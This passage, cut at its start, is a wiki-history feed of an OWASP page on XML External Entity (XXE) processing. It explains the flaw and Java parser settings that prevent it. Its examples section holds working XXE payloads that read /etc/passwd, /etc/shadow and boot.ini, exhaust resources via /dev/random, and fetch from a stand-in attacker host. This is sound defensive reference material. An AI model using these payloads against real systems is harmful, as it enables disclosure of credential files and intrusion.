The [http://en.wikipedia.org/wiki/StAX StAX] [http://docs.oracle.com/javase/7/docs/api/javax/xml/stream/XMLInputFactory.html XMLInputFactory] can allow properties and features to be set.&lt;br /&gt;
&lt;br /&gt;
Disallow Resolving of External Entities:&lt;br /&gt;
* Set the &amp;quot;javax.xml.stream.isSupportingExternalEntities&amp;quot; property to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/611.html CWE-611: Information Exposure Through XML External Entity Reference].&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/827.html CWE-827: Improper Control of Document Type Definition]&lt;br /&gt;
* [https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf XML External Entity Attacks]&lt;br /&gt;
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3489 PostgreSQL XXE vulnerability]&lt;br /&gt;
* [http://www.agarri.fr/kom/archives/2011/09/15/failles_de_type_xee_dans_sharepoint_et_dotnetnuke/index.html SharePoint and DotNetNuke XXE Vulnerabilities, in French]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:API_Abuse]]&lt;/div&gt;</summary>
		<author><name>Jon Passki</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Processing&amp;diff=141612</id>
		<title>XML External Entity (XXE) Processing</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Processing&amp;diff=141612"/>
				<updated>2012-12-29T21:45:04Z</updated>
		
		<summary type="html">&lt;p&gt;Jon Passki: Initial XXE vulnerability.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Processing of an external entity containing tainted data may lead to disclosure of confidential information and other system impacts. &lt;br /&gt;
&lt;br /&gt;
The [http://www.w3.org/TR/REC-xml/ XML 1.0 standard] defines the structure of an XML document. The standard defines a concept called an entity, which is a storage unit of some type. There exists a specific type of entity, an [http://www.w3.org/TR/REC-xml/#sec-external-ent external general parsed entity] often shortened to an '''external entity''', that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application.&lt;br /&gt;
&lt;br /&gt;
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) requests. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
* The application parsers XML documents.&lt;br /&gt;
* Tainted data is allowed within the system identifier portion of the entity, within the [http://www.w3.org/TR/REC-xml/#sec-prolog-dtd document type declaration] (DTD).&lt;br /&gt;
* The XML processor is configured to validate and process the DTD.&lt;br /&gt;
* The XML processor is configured to resolve external entities within the DTD.&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The examples below are from [[Testing for XML Injection (OWASP-DV-008)]].&lt;br /&gt;
&lt;br /&gt;
===Accessing a local resource that may not return===&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
===Disclosing the /etc/passwd file===&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
* [[Blind SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Missing XML Validation]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
If possible, disallow tainted data within the DTD of an XML document. If the full XML document is tainted data, the XML processor should be configured to use a local static DTD and disallow any declared DTD returned by the XML document.&lt;br /&gt;
&lt;br /&gt;
Testing ought to occur with specific implementations for any controls documented below.&lt;br /&gt;
&lt;br /&gt;
===Java===&lt;br /&gt;
&lt;br /&gt;
====JAXP DOM and DocumentBuilderFactory====&lt;br /&gt;
&lt;br /&gt;
The DocumentBuilderFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/DocumentBuilderFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:&lt;br /&gt;
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====JAXP SAX and SAXParserFactory====&lt;br /&gt;
&lt;br /&gt;
The SAXParserFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/SAXParserFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:&lt;br /&gt;
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities  this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====StAX and XMLInputFactory====&lt;br /&gt;
&lt;br /&gt;
The [http://en.wikipedia.org/wiki/StAX StAX] [http://docs.oracle.com/javase/7/docs/api/javax/xml/stream/XMLInputFactory.html XMLInputFactory] can allow properties and features to be set.&lt;br /&gt;
&lt;br /&gt;
Disallow Resolving of External Entities:&lt;br /&gt;
* Set the &amp;quot;javax.xml.stream.isSupportingExternalEntities&amp;quot; property to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* [http://cwe.mitre.org/data/definitions/611.html CWE 611].&lt;br /&gt;
* [https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf XML External Entity Attacks]&lt;br /&gt;
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3489 PostgreSQL XXE vulnerability]&lt;br /&gt;
* [http://www.agarri.fr/kom/archives/2011/09/15/failles_de_type_xee_dans_sharepoint_et_dotnetnuke/index.html SharePoint and DotNetNuke XXE Vulnerabilities, in French]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:API_Abuse]]&lt;/div&gt;</summary>
		<author><name>Jon Passki</name></author>	</entry>

	</feed>